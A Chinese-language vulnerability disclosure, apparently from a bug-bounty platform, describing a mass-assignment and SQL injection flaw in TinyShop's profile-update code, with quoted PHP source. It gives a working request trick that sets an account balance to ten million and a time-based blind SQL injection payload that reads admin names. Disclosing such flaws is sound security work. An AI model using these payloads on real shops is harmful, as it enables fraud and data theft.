漏洞概要
关注数(24 )
关注此漏洞
漏洞标题:TinyShop sql注入#3( 可无限充值)
提交时间:2014-07-18 11:11
修复时间:2014-10-16 11:12
公开时间:2014-10-16 11:12
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:20
漏洞状态:厂商已经确认
Tags标签:
无
漏洞详情 披露状态:
2014-07-18: 细节已通知厂商并且等待厂商处理中 2014-07-20: 厂商已经确认,细节仅向厂商公开 2014-07-23: 细节向第三方安全合作伙伴开放 2014-09-13: 细节向核心白帽子及相关领域专家公开 2014-09-23: 细节向普通白帽子公开 2014-10-03: 细节向实习白帽子公开 2014-10-16: 细节向公众公开
简要描述: rt
详细说明: 我们看到 /protected/controllers/ucenter.php
public function info_save() { $name = Filter::sql(Req::args("name")); $id = $this->user['id']; $this->model->table("user")->data(array("name"=>$name))->where("id=$id")->update(); $this->model->table("customer")->where("user_id=$id")->update(); $obj = $this->model->table("user as us")->join("left join customer as cu on us.id = cu.user_id")->fields("us.*,cu.group_id,cu.login_time")->where("us.id=$id")->find(); $this->safebox->set('user',$obj,$this->cookie_time); $this->redirect("info"); }
看到这行代码
$this->model->table("customer")->where("user_id=$id")->update();
继续跟到 updata()
public function update() { $sql = $this->sql; if(!is_array($sql['data']) || count($sql['data'])<1) { $sql['data'] = Req::post(); } $set = ''; foreach($sql['data'] as $key => $val) { if(is_string($key) && $key != $this->primary_key && isset($this->fields[$key])) { if(is_string($key)) { $value = $val; if(is_null($val)){ $value = 'NULL'; }else{ $value = $this->formatField($this->fields[$key],$val); } if(is_scalar($value)) { if(!is_array($val) && preg_match("/`$key`/i",trim($val))){ $set .= '`'.$key.'` = '.$val.','; } else $set .= '`'.$key.'` = '.$value.','; } } } } if($set!='') { $set = 'set '.trim($set,','); $this->fields($set); $this->changeWhere(); $sql = $this->sql; $sqlStr = "update {$sql['table']} {$set} {$sql['where']}"; return $this->query($sqlStr); } }
post
public static function post() { $num = func_num_args(); $args = func_get_args(); if($num==1) { if(isset( $_POST[$args[0]])){ if(is_array( $_POST[$args[0]]))return $_POST[$args[0]]; else return trim( $_POST[$args[0]]); } return null; } else if($num>=2) { if($args[1]!==null) $_POST[$args[0]] = $args[1]; else if(isset($_POST[$args[0]])) unset($_POST[$args[0]]); } else { return $_POST; } }
如果调用updata()时没有传递 data数组。他会从post传递过来的数据 赋值于set 带入sql语句 。 #1 无限充值 我们 注册用户后 来到资料修改处 抓包 ,在原有的基础上 加上balance=10000000 例如
可以看到我瞬间土豪了。。。这个系统 还可以提现。。危害还是蛮大的。 #2 延时盲注 若 gpc关闭 或 php为高版本 我们还能进行盲注 修改 addr=' or if(ascii(substr((select name from tiny_manager),1,1))-97,null,sleep(2)) or '1
延时成功。
漏洞证明: 修复方案: 漏洞回应 厂商回应: 危害等级:中
漏洞Rank:7
确认时间:2014-07-20 10:47
厂商回复: 非常感谢您为TinyShop信息安全做的贡献 我们将尽快修复,非常感谢您的支持。
最新状态: 暂无